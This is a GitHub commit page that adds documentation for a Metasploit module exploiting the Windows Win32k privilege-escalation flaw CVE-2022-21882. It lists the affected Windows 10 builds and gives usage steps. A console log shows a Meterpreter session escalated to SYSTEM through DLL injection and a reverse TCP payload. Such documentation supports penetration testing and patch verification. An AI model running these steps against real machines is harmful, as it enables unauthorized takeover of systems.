Skip to content

Commit b69db83

Browse files
committed
Land #16202, Add exploit for CVE-2022-21882 (Win32k LPE)
Merge branch 'land-16202' into upstream-master
2 parents 65626be + 2b00020 commit b69db83

File tree

15 files changed

+666
-519
lines changed

15 files changed

+666
-519
lines changed
-95 KB
Binary file not shown.
109 KB
Binary file not shown.

documentation/modules/exploit/windows/local/cve_2021_1732_win32k.md

Lines changed: 0 additions & 69 deletions
This file was deleted.
Lines changed: 86 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,86 @@
1+
## Vulnerable Application
2+
A vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of
3+
NT AUTHORITY\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being
4+
treated as an offset despite being populated by an attacker-controlled value. This can be leveraged to
5+
achieve an out of bounds write operation, eventually leading to privilege escalation.
6+
7+
This flaw was originally identified as CVE-2021-1732 and was patched by Microsoft on February 9th, 2021.
8+
In early 2022, a technique to bypass the patch was identified and assigned CVE-2022-21882. The root cause is
9+
is the same for both vulnerabilities. This exploit combines the patch bypass with the original exploit to
10+
function on a wider range of Windows 10 targets.
11+
12+
Windows 10 builds 17134 (v1803) through 19041 (v20H1) will use the original technique from CVE-2021-1732, leveraging
13+
`user32!CreateWindowEx` to trigger the `xxxClientAllocWindowClassExtraBytes` hook and corrupt the target window. Windows
14+
10 builds 19042 (v20H2) through 19044 (v21H2) will use the updated technique from CVE-2022-21882, leveraging
15+
`win32u!NtUserMessageCall` to trigger the `xxxClientAllocWindowClassExtraBytes` hook for the same effect.
16+
17+
### Installation And Setup
18+
Windows 10 versions 1803 through 21H2 (without the patch) are vulnerable out of the box. This exploit module has been
19+
tested on Windows 10 versions 1803, 1909, 20H1, 20H2 and 21H2.
20+
21+
## Verification Steps
22+
23+
1. Start msfconsole
24+
1. Get a Meterpreter session on a vulnerable host
25+
1. Do: `use exploit/windows/local/cve_2022_21882_win32k`
26+
1. Set the `SESSION` and `PAYLOAD` options
27+
1. Do: `run`
28+
1. You should get a shell.
29+
30+
## Scenarios
31+
32+
### Windows 10 Version 21H2 Build 19044.1288 x64
33+
34+
```
35+
msf6 exploit(windows/local/cve_2022_21882_win32k) > sessions -i -1
36+
[*] Starting interaction with 1...
37+
38+
meterpreter > getuid
39+
Server username: DESKTOP-SRAQBLH\smcintyre
40+
meterpreter > sysinfo
41+
Computer : DESKTOP-SRAQBLH
42+
OS : Windows 10 (10.0 Build 19044).
43+
Architecture : x64
44+
System Language : en_US
45+
Domain : WORKGROUP
46+
Logged On Users : 2
47+
Meterpreter : x64/windows
48+
meterpreter > getsystem
49+
[-] stdapi_sys_config_getuid: Operation failed: 1346 The following was attempted:
50+
[-] Named Pipe Impersonation (In Memory/Admin)
51+
[-] Named Pipe Impersonation (Dropper/Admin)
52+
[-] Token Duplication (In Memory/Admin)
53+
[-] Named Pipe Impersonation (RPCSS variant)
54+
[-] Named Pipe Impersonation (PrintSpooler variant)
55+
meterpreter > background
56+
[*] Backgrounding session 1...
57+
msf6 exploit(windows/local/cve_2022_21882_win32k) > set SESSION -1
58+
SESSION => -1
59+
msf6 exploit(windows/local/cve_2022_21882_win32k) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
60+
PAYLOAD => windows/x64/meterpreter/reverse_tcp
61+
msf6 exploit(windows/local/cve_2022_21882_win32k) > set LHOST 192.168.159.128
62+
LHOST => 192.168.159.128
63+
msf6 exploit(windows/local/cve_2022_21882_win32k) > exploit
64+
65+
[*] Started reverse TCP handler on 192.168.159.128:4444
66+
[*] Running automatic check ("set AutoCheck false" to disable)
67+
[+] The target appears to be vulnerable.
68+
[*] Launching netsh to host the DLL...
69+
[+] Process 6840 launched.
70+
[*] Reflectively injecting the DLL into 6840...
71+
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
72+
[*] Sending stage (200262 bytes) to 192.168.159.87
73+
[*] Meterpreter session 2 opened (192.168.159.128:4444 -> 192.168.159.87:52622 ) at 2022-02-18 14:34:00 -0500
74+
75+
meterpreter > getuid
76+
Server username: NT AUTHORITY\SYSTEM
77+
meterpreter > sysinfo
78+
Computer : DESKTOP-SRAQBLH
79+
OS : Windows 10 (10.0 Build 19044).
80+
Architecture : x64
81+
System Language : en_US
82+
Domain : WORKGROUP
83+
Logged On Users : 2
84+
Meterpreter : x64/windows
85+
meterpreter >
86+
```

external/source/exploits/CVE-2021-1732/CVE-2021-1732.sln

Lines changed: 0 additions & 31 deletions
This file was deleted.

0 commit comments

Comments
 (0)